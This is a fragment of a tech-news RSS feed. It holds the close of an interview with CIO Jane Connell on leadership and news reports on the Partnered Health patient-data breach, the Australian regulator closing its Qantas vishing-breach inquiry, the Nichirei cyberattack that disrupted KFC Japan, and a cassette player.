<p class="wp-block-paragraph">So when the CIO role opened at State Street, I interviewed — and talk about being your authentic self. I had already done all this transformation, I already knew the outcomes, I knew everything I did was always enterprise and always end-to-end transformation. And because I wasn’t really vying for the job, I was having this conversation with the CFO and saying, “Here’s what your organization is lacking, here’s the noise you’re going to hear, do you really have the appetite for it?” And “I’d like talk to the COO and see if they’re ready to hear this about the value chain. I may not know your problem yet, but I guarantee it’s one of these three things.”</p>



<p class="wp-block-paragraph">I was testing their advocacy of, do you really want to transform? Are you ready? Because you have to own this. I can’t take accountabilities for your organizations. I can help you get there. I’m an enabler for you, but you have to own it. And it was a very different interview. By the end of it, I loved Ron [O’Hanley, State Street Chairman and CEO] and his whole team. I took the job on the leadership and the person more than the industry, and it was very successful.</p>



<p class="wp-block-paragraph">I followed the same recipe when I went to Verizon. Those were big growing moments. They were risky, they were very uncomfortable, but it was the biggest growth that I’ve ever had.</p>



<p class="wp-block-paragraph"><strong>Whether it’s a tough message to the C-suite, a difficult conversation with peers, or helping teams make sense of uncertainty and change, you tell people the truth in a way they can hear it. How can other leaders develop that ability to take people on the journey, especially when the message isn’t easy?</strong></p>



<p class="wp-block-paragraph">Skirting a problem is not the way to solve it. I’ve never been the person to say what you want to hear. I’ll tell you how you get there, and I’ll get you the results you want, but I’m going to be super honest because I want to manage the expectations of what we have to achieve.</p>



<p class="wp-block-paragraph">What I’ve learned as a leader is to take accountability. Say what you’re going to do, then do it, and if you hit a roadblock, be the first to call it. That gets you access, because people see it as a calculated risk. Anybody in the C-suite has resources and budget, but the earlier you signal and don’t waste money and resources, the more access to people and resources you will have.</p>



<p class="wp-block-paragraph">The greatest lesson I learned from one of the leaders in my path was: If you can’t say it in an elevator, and you can’t say it on one slide, you’re talking too much. So, think about it as one slide: What is it you need? What are you going to achieve? What are the risks? What are you taking accountability for? How will you measure it? It doesn’t matter what the message is when you can be that succinct. You’ve got them laser-focused on what it is. You gave them just enough of the periphery to know how you got there, and then it’s their belief in you that you can do it if they give you the money and resources, because that’s what you’re looking for.</p>



<p class="wp-block-paragraph">It sounds so simple but putting things together succinctly is hard work. You have to take all the unnecessary noise out, and keep the conversation focused. You don’t want their mind wandering, wondering where is she going, or what are they doing? Give it to them upfront and tell them what you need.</p>



<p class="wp-block-paragraph"><strong>You’ve spoken about entering corporate environments early in your career feeling intimidated by people with more traditional credentials or educational backgrounds. What advice can you give rising leaders about battling imposter syndrome?</strong></p>



<p class="wp-block-paragraph">Take the time to figure out what makes you uncomfortable, what makes you feel like an imposter, or what in that meeting you dread going in where you’re not acting like yourself. Are you more quiet than usual? Are you not asking the question you’d normally ask? Figure out what those issues are, and then address the things that make you uncomfortable. I went to college later because that bothered me. Those credentials do matter. So I addressed it and got my degrees and certifications.</p>



<p class="wp-block-paragraph">The other thing is to find people you trust, people whose opinion you respect, and bring them on the inside of what you’re working on. Maybe it’s dealing with a difficult business partner. You may not particularly want to be friends with them, but you’re going to have to work with them. Find the people that work effectively with them. You do this with high integrity — this is not about talking about that person — but find the allies that work with them. Nine times out of ten, they feel the way you do, but they found a way to work with the person. Pick their brain. Bring them in the fold and say, “I need this alliance. I can’t get there, and quite frankly, I know I’m resisting because maybe I just don’t like them. How did you get there?”</p>



<p class="wp-block-paragraph">People are generous. Ask their opinion, ask how they’re showing up. “Am I creating the trigger? Is there something I’m doing in that meeting or in that room that I’m not coming out with a decision or whatever I needed?”</p>



<p class="wp-block-paragraph">The greatest gift is feedback. There’s feedback you do something with, and there’s feedback you don’t, but either way, it’s a gift. Somebody’s giving it to you. It’s not personal; it’s business. And those things really help build your confidence and leadership style.</p>



<p class="wp-block-paragraph"><em>In an era increasingly shaped by automation and disruption, Jane Connell believes the most enduring competitive advantage may come from something deeply human: the ability to inspire confidence, curiosity, resilience, and possibility in others. For more advice from this Hall of Fame CIO, tune in to the </em><a href="https://linktr.ee/techwhisperers"><em>Tech Whisperers podcast</em></a><em>.</em></p>



<p class="wp-block-paragraph">See also:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4185905/mastering-the-chess-of-it-leadership-today.html">Mastering the chess of IT leadership today</a></li>



<li><a href="https://www.cio.com/article/4176073/developing-a-customer-first-culture-for-it.html">Developing a customer-first culture for IT</a></li>



<li><a href="https://www.cio.com/article/4166851/coherence-where-leadership-and-ai-success-intersect.html">Coherence: Where leadership and AI success intersect</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Partnered Health Cyberattack Exposes Patient Data Across Australia]]></title>
<description><![CDATA[The Partnered Health cyberattack has exposed sensitive patient information across multiple Australian clinics, raising fresh concerns about healthcare cybersecurity.

The Partnered Health data breach, involving clinics owned by healthcare provider Partnered Health, a company backed by Quadrant,...]]></description>
<link>https://tsecurity.de/de/3672881/it-security-nachrichten/partnered-health-cyberattack-exposes-patient-data-across-australia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672881/it-security-nachrichten/partnered-health-cyberattack-exposes-patient-data-across-australia/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1165" height="768" src="https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Partnered Health cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack.webp 1165w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-300x198.webp 300w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-1024x675.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-768x506.webp 768w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-600x396.webp 600w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-750x494.webp 750w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-1140x752.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack.webp 1165w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-300x198.webp 300w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-1024x675.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-768x506.webp 768w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-600x396.webp 600w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-750x494.webp 750w, https://thecyberexpress.com/wp-content/uploads/Partnered-Health-cyberattack-1140x752.webp 1140w" sizes="(max-width: 1165px) 100vw, 1165px" title="Partnered Health Cyberattack Exposes Patient Data Across Australia 1"></p><span data-contrast="auto">The Partnered Health cyberattack has exposed sensitive patient information across multiple Australian clinics, raising fresh concerns about healthcare cybersecurity.</span>

<span data-contrast="auto">The Partnered Health data breach, involving clinics owned by healthcare provider Partnered Health, a company backed by Quadrant, affected facilities in New South Wales, Victoria, Queensland, Western Australia, and the ACT.</span>

<span data-contrast="auto">The incident has also renewed scrutiny of the growing number of cyberattacks targeting Australia's healthcare sector.</span>
<h3 aria-level="2"><b><span data-contrast="none">Partnered Health Data Breach Impacted Medical and Personal Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Partnered Health <a href="https://partneredhealth.com.au/partnered-health-recent-cyber-incident/" target="_blank" rel="nofollow noopener">confirmed</a> that a malicious actor accessed its systems on 23 June, compromising data from 21 clinics across cities, including Sydney, Melbourne, and Canberra. The healthcare provider disclosed the breach more than three weeks later, informing patients that investigations had confirmed personal and <a href="https://thecyberexpress.com/medisecure-data-breach-confirmed/" target="_blank" rel="noopener">health information</a> had been taken from some clinics within its network.</span>

<span data-contrast="auto">"Our investigations to date have confirmed that personal information (including health information) was taken from some of the clinics in our network," the company said. It added, "As a health services provider, we know our patients and our people trust us with personal and medical information, and we sincerely apologise for any concern and inconvenience this may cause them."</span>

<span data-contrast="auto">The stolen information includes names, dates of birth, addresses, contact details, Medicare information, private health insurance details, concession card information, consultation notes, referral letters, pathology reports, diagnostic results, and other treatment records maintained by <a class="wpil_keyword_link" href="https://cyble.com/general/" target="_blank" rel="noopener" title="general" data-wpil-keyword-link="linked" data-wpil-monitor-id="29002">general</a> practitioners.</span>
<h3 aria-level="2"><b><span data-contrast="none">Investigation into the Partnered Health Cyberattack Continues</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Partnered Health said the cyberattack has been reported to the <a href="https://thecyberexpress.com/fiig-cyberattack-au2-5m-fine-fiig-securities/" target="_blank" rel="noopener">Australian Cyber Security Centre</a>, the Office of the Australian Information Commissioner, and law enforcement authorities. The company has also secured an interim injunction from the NSW Supreme Court preventing the stolen information from being used or published.</span>

<span data-contrast="auto">While investigations remain ongoing, the provider said the extent of the breach is still being determined at five clinics, including three in Western Australia and two in Victoria.</span>

<span data-contrast="auto">"While there is no direct evidence that patient records have been viewed, as a precaution we have written to patients from these clinics to make them aware of this and provide details of steps that can be taken to protect their information," a Partnered Health spokesperson said. The spokesperson added, "We understand that this sort of news can cause concern. We sincerely apologize for any distress this may have caused our patients."</span>
<h3 aria-level="2"><b><span data-contrast="none">Quadrant-backed Healthcare Provider Faces Growing Scrutiny</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Established in 2013, Partnered Health operates more than 60 medical centres, along with skin cancer, allied health, and mental health clinics, providing services to more than 5 million people nationwide. The company is owned by Quadrant, while Bupa announced in June that it would acquire the healthcare provider.</span>

<span data-contrast="auto">The Partnered Health data breach comes amid a record year for <a href="https://thecyberexpress.com/australia-cyber-incident-review-board/" target="_blank" rel="noopener">cybersecurity incidents in Australia</a>. According to the Office of the Australian Information Commissioner, 1,205 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29001">data breach</a> notifications were recorded in 2025, marking an 8% increase compared with 2024. Among the year's largest incidents was the cyberattack on Qantas, which compromised the information of 5.7 million customers and was reportedly leaked on the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-the-dark-web/" target="_blank" rel="noopener" title="dark web" data-wpil-keyword-link="linked" data-wpil-monitor-id="29000">dark web</a>.</span>

<span data-contrast="auto">A <a href="https://www.smh.com.au/national/nsw/patient-details-exposed-in-cyberattack-on-australian-healthcare-provider-20260715-p60fna.html" target="_blank" rel="nofollow noopener">spokesperson for the Department of Home Affairs</a> said the federal government is aware of the Partnered Health cyberattack and confirmed that relevant agencies are engaged as investigations continue. Authorities have not yet disclosed how many patients were affected or the full scope of the stolen <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29003">data</a>.</span>]]></content:encoded>
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<title><![CDATA[This gorgeous Dark Side of the Moon portable modern tape player will make you believe the cassette revival isn't nonsense after all — especially since it comes with a new remastered tape of the album]]></title>
<description><![CDATA[I already have one of We Are Rewind's players, and yet I still might buy this limited-edition version with the first-ever release of the 50th anniversary Dark Side remaster on tape.]]></description>
<link>https://tsecurity.de/de/3672738/it-nachrichten/this-gorgeous-dark-side-of-the-moon-portable-modern-tape-player-will-make-you-believe-the-cassette-revival-isnt-nonsense-after-all-especially-since-it-comes-with-a-new-remastered-tape-of-the-album/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672738/it-nachrichten/this-gorgeous-dark-side-of-the-moon-portable-modern-tape-player-will-make-you-believe-the-cassette-revival-isnt-nonsense-after-all-especially-since-it-comes-with-a-new-remastered-tape-of-the-album/</guid>
<pubDate>Thu, 16 Jul 2026 10:02:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I already have one of We Are Rewind's players, and yet I still might buy this limited-edition version with the first-ever release of the 50th anniversary Dark Side remaster on tape.]]></content:encoded>
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<title><![CDATA[Qantas Did Everything “Right” — And Got Breached Anyway. Regulators Say That’s the Point.]]></title>
<description><![CDATA[A vishing call to an overseas contact center agent. A fake IT ticket. A default setting nobody thought to lock down. That's all it took to expose the personal data of roughly 5 million Australians — and now the country's privacy regulator has decided Qantas isn't to blame for it.
The Office of t...]]></description>
<link>https://tsecurity.de/de/3672634/it-security-nachrichten/qantas-did-everything-right-and-got-breached-anyway-regulators-say-thats-the-point/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672634/it-security-nachrichten/qantas-did-everything-right-and-got-breached-anyway-regulators-say-thats-the-point/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="800" src="https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Qantas, Qantas Data Breach, Data Breach, Cyber aattack, Socail Engineering, OAIC, OAIC Report, Privacy Commissioner" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach.webp 1200w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach.webp 1200w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Qantas_Data_Breach-1140x760.webp 1140w" sizes="(max-width: 1200px) 100vw, 1200px" title="Qantas Did Everything &quot;Right&quot; — And Got Breached Anyway. Regulators Say That's the Point. 3"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:281;93-373">A vishing call to an overseas contact center agent. A fake IT ticket. A default setting nobody thought to lock down. That's all it took to expose the personal <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28992">data</a> of roughly 5 million Australians — and now the country's privacy regulator has decided Qantas isn't to blame for it.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:574;375-948">The Office of the Australian Information Commissioner (OAIC) closed the book this week on its year-long preliminary inquiry into the June 2025 Qantas <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="28995">data breach</a>, and the conclusion cuts against the instinct to punish the victim of a cyberattack.</p>

<h5 data-sourcepos="5:1-5:574;375-948"><strong>Also read:</strong> <a href="https://thecyberexpress.com/qantas-cyberattack-confirmed/">Australia’s Qantas Confirms Cyberattack: 6 Million Service Records Compromised</a></h5>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:574;375-948">According to the OAIC's <a href="https://www.oaic.gov.au/privacy/privacy-assessments-and-decisions/privacy-decisions/Investigation-inquiry-reports/report-into-preliminary-inquiries-of-qantas" target="_blank" rel="nofollow noopener">report</a>, the evidence gathered did not indicate a likelihood that Qantas had "failed" to take reasonable steps to protect the personal information it held, nor that it failed to ensure its overseas third-party provider complied with Australia's privacy principles. No investigation. No enforcement action.</p>

<blockquote>
<p data-sourcepos="5:1-5:574;375-948"><em>"After more than a year of making inquiries and obtaining information on the data breach, we're satisfied that the evidence does not support the likelihood that a breach of <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-privacy/" title="privacy" data-wpil-keyword-link="linked" data-wpil-monitor-id="28998">privacy</a> law occurred. As a result, we've decided not to commence a full investigation of Qantas at this stage."</em> <strong>- Carly Kind, Australian Privacy Commissioner.</strong></p>
</blockquote>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:20;950-969"><strong>How It Happened</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:569;971-1539">The breach traces back to a single phone call. A <a class="wpil_keyword_link" href="https://cyble.com/threat-actor/" target="_blank" rel="noopener" title="threat actor" data-wpil-keyword-link="linked" data-wpil-monitor-id="28993">threat actor</a> posing as "Qantas IT help" convinced a contact center agent to visit a website tied to the customer relationship management platform used by Qantas agents, walking them through steps framed as necessary to close an IT support ticket. That interaction connected the agent's CRM session to a data extraction tool controlled by the attacker, who then pulled data from every contact profile the agent could access. It was pure social engineering — no malware, no exploited <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28989">vulnerability</a>, just a convincing lie.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:360;1541-1900">Qantas caught it fast. A staff member spotted an unusual spike in login-attempt alerts on the morning of June 30, two days after the call, and escalated it to the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28990">cybersecurity</a> team. Within hours, the company had frozen the compromised account, assessed for data exfiltration, and triggered its <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="28994">incident response</a> process. Public disclosure followed on July 2.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:39;1902-1940"><strong>What Was Exposed — And What Wasn't</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:545;1942-2486">The regulator's numbers are more precise than what circulated publicly last year. Roughly 5.67 million customer records were compromised, with about 4 million exposing names, phone numbers, email addresses and Frequent Flyer details, and a further 1.7 million records including combinations of home or business addresses, dates of birth, gender and meal preferences. Critically, no credit card numbers, financial information or passport details lived on the compromised platform, and customer passwords and login credentials were never touched.</p>

<h5 data-sourcepos="15:1-15:545;1942-2486"><strong>Also read:</strong> <a href="https://thecyberexpress.com/qantas-airways-confirms-data-breach/">Qantas Airways Cyberattack Update: Customer Data Released, Security Measures Enhanced</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:32;2488-2519"><strong>Why The Regulator Let It Go</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:562;2521-3082">The OAIC's reasoning is a rare, explicit acknowledgment that good controls don't guarantee immunity. Investigators found that <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="28996">social engineering</a> training generally targets credential theft, not the rarer tactic of talking an employee into authorizing a legitimate-looking system connection — meaning the attack likely would have succeeded even with standard training in place. They also noted the flaw was structural: a default configuration let the agent authorize a third-party app connection, a setting the CRM vendor has since changed for all its customers.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:339;3084-3422">Commissioner Carly Kind put the broader stakes plainly in the OAIC's statement announcing the report, warning that AI-driven threats are only raising the bar. As she framed it, agentic and advanced AI will keep escalating the cybersecurity <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="28991">risks</a> businesses face, making continuous review of security posture non-negotiable — not optional.</p>
“Data breaches are a persistent feature of today’s digital world, and can occur despite organisations taking steps to protect personal information,” Commissioner Carly <a href="https://www.oaic.gov.au/news/media-centre/privacy-commissioner-completes-preliminary-inquiries-into-qantas-2025-data-incident" target="_blank" rel="nofollow noopener">said</a>.

“Agentic and advanced AI will only increase the cybersecurity risks that businesses face, and it is critical that all organisations continuously review and enhance their <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28997">security</a> to protect against this growing threat.”
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:207;3424-3630">The takeaway here isn't that Qantas got a pass. It's that a regulator has now drawn, in writing, the line between negligence and the limits of what training and access controls can realistically stop.</p>]]></content:encoded>
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<title><![CDATA[Nichirei Cyberattack Hits KFC Japan, Disrupts Frozen Food Supply]]></title>
<description><![CDATA[The Nichirei cyberattack has disrupted food deliveries across Japan after the frozen food and logistics provider confirmed its servers were compromised in a cybersecurity incident involving unauthorized access. The attack affected logistics operations supporting KFC Japan, forcing temporary servi...]]></description>
<link>https://tsecurity.de/de/3672520/it-security-nachrichten/nichirei-cyberattack-hits-kfc-japan-disrupts-frozen-food-supply/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672520/it-security-nachrichten/nichirei-cyberattack-hits-kfc-japan-disrupts-frozen-food-supply/</guid>
<pubDate>Thu, 16 Jul 2026 08:23:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Nichirei Cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Nichirei-Cyberattack-Hits-KFC-Japan-Disrupts-Frozen-Food-Supply-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Nichirei Cyberattack Hits KFC Japan, Disrupts Frozen Food Supply 1"></p>The Nichirei cyberattack has disrupted food deliveries across Japan after the frozen food and logistics provider confirmed its servers were compromised in a <a href="https://thecyberexpress.com/cyber-incident-shanghai-tunnel-engineering-co/" target="_blank" rel="noopener">cybersecurity incident </a>involving unauthorized access. The attack affected logistics operations supporting KFC Japan, forcing temporary service disruptions while the company investigates the incident and works to restore systems.

Nichirei Corporation said it detected system failures on July 13 and established an emergency response headquarters the same day. "Nichirei Corporation (the "Company") experienced system failures on July 13, 2026, and has since been investigating its cause. The Company hereby announces the facts identified through the investigation to date and the measures it plans to take going forward," reads notice issued by Nichirei.

An investigation later confirmed that company servers had been targeted in a <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-cyber-attack/" target="_blank" rel="noopener" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="28988">cyberattack</a>. While the company has not disclosed technical details to prevent further damage, it said recovery efforts are underway with the support of an external <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28987">cybersecurity</a> specialist.
<h3><strong>Nichirei Cyberattack Disrupts Logistics and Food Shipments</strong></h3>
Following the attack, Nichirei disconnected systems across the Nichirei Group to protect customer and business partner <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28986">data</a>. The decision disrupted inbound and outbound operations at Nichirei Logistics refrigerated warehouses and halted frozen food shipments handled by Nichirei Foods.

The company <a href="https://www.nichirei.co.jp/sites/default/files/inline-images/english/ir/pdf_file/news/20260716_e.pdf" target="_blank" rel="nofollow noopener">said</a> it plans to gradually resume affected operations from July 17 after implementing additional security measures.

Nichirei also confirmed that some affected servers contained personal information. As a precaution, it submitted an initial report to Japan's Personal Information Protection Commission regarding the possibility of a <a href="https://thecyberexpress.com/japan-mandatory-cybersecurity-reporting/" target="_blank" rel="noopener">personal information leak</a>.

The company emphasized that, as of its latest update, there is no confirmed evidence that personal information or customer data has been exposed externally. Investigations remain ongoing, and Nichirei said it will notify relevant parties if any data leakage is confirmed.
<h3><strong>Nichirei Cyberattack Impacts KFC Japan Store Operations</strong></h3>
The incident quickly spread beyond Nichirei's own operations, affecting KFC Japan, which relies on Nichirei Logistics to deliver ingredients to stores nationwide.

<a href="https://japan.kfc.co.jp/news_release/8160" target="_blank" rel="nofollow noopener">According to KFC Japan</a>, deliveries have been disrupted since July 14 following the unauthorized access at its logistics partner. As inventory levels fluctuate, customers may experience product shortages, limited menu availability, shortened operating hours, or temporary store closures.

The restaurant chain also temporarily suspended mobile orders, delivery services, coupons, and online ordering through its official website and mobile application.

KFC Japan said it is working closely with Nichirei Logistics and other partners to restore normal operations as quickly as possible. However, it has not provided an estimated timeline for full recovery.
<h3><strong>Investigation Continues Into Japan Cyberattack</strong></h3>
Nichirei said the financial impact of the incident is still being assessed. The company expects to release its first-quarter financial results for the fiscal year ending December 31, 2026, on August 7 as scheduled unless further developments require additional disclosure.

The company added that it will continue investigating the cyberattack on Nichirei and release additional information if material findings emerge.

The incident follows a series of recent <a href="https://thecyberexpress.com/?s=Japan" target="_blank" rel="noopener">Japan cyberattack </a>disclosures involving major organizations.

Earlier this week, <a href="https://thecyberexpress.com/" target="_blank" rel="noopener">The Cyber Express</a> reported that <a href="https://thecyberexpress.com/nihon-kotsu-cyberattack/" target="_blank" rel="noopener">Nihon Kotsu experienced a malware-related security incident</a> that disrupted taxi dispatch services after portions of its IT infrastructure were taken offline.

Earlier this month, The Cyber Express also <a href="https://thecyberexpress.com/japan-cyberattacks-expose-hidden-risks/" target="_blank" rel="noopener">reported cyber incidents</a> involving Aflac Japan, KDDI, Sapporo Holdings, and Nidec. While those cases affected different industries, attackers frequently gained access through subsidiaries, overseas operations, or third-party infrastructure rather than directly compromising corporate headquarters.

Separately<a href="https://thecyberexpress.com/asahi-cyberattack-japan-operations-crippled/" target="_blank" rel="noopener">, Asahi Group Holdings continues recovering</a> from a <a href="https://thecyberexpress.com/chipsoft-ransomware-incident/" target="_blank" rel="noopener">ransomware attack</a> that significantly disrupted online ordering and shipment operations, forcing the company to rely on manual processes.
<h3><strong>Supply Chain Risks Remain in Focus</strong></h3>
The Nichirei cyberattack highlights how attacks on logistics providers can quickly evolve into broader <a href="https://thecyberexpress.com/mercor-cyberattack/" target="_blank" rel="noopener">supply chain disruption </a>affecting downstream businesses and consumers.

Although Nichirei has begun restoring operations, investigations into the incident remain active. Authorities are also continuing to examine whether any personal information was compromised while the company works to return logistics services and KFC Japan operations to normal.

With multiple high-profile <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="28985">cyber</a> incidents affecting Japanese organizations in recent weeks, the latest disruption highlight he growing operational impact of attacks targeting critical logistics and supply chain infrastructure.]]></content:encoded>
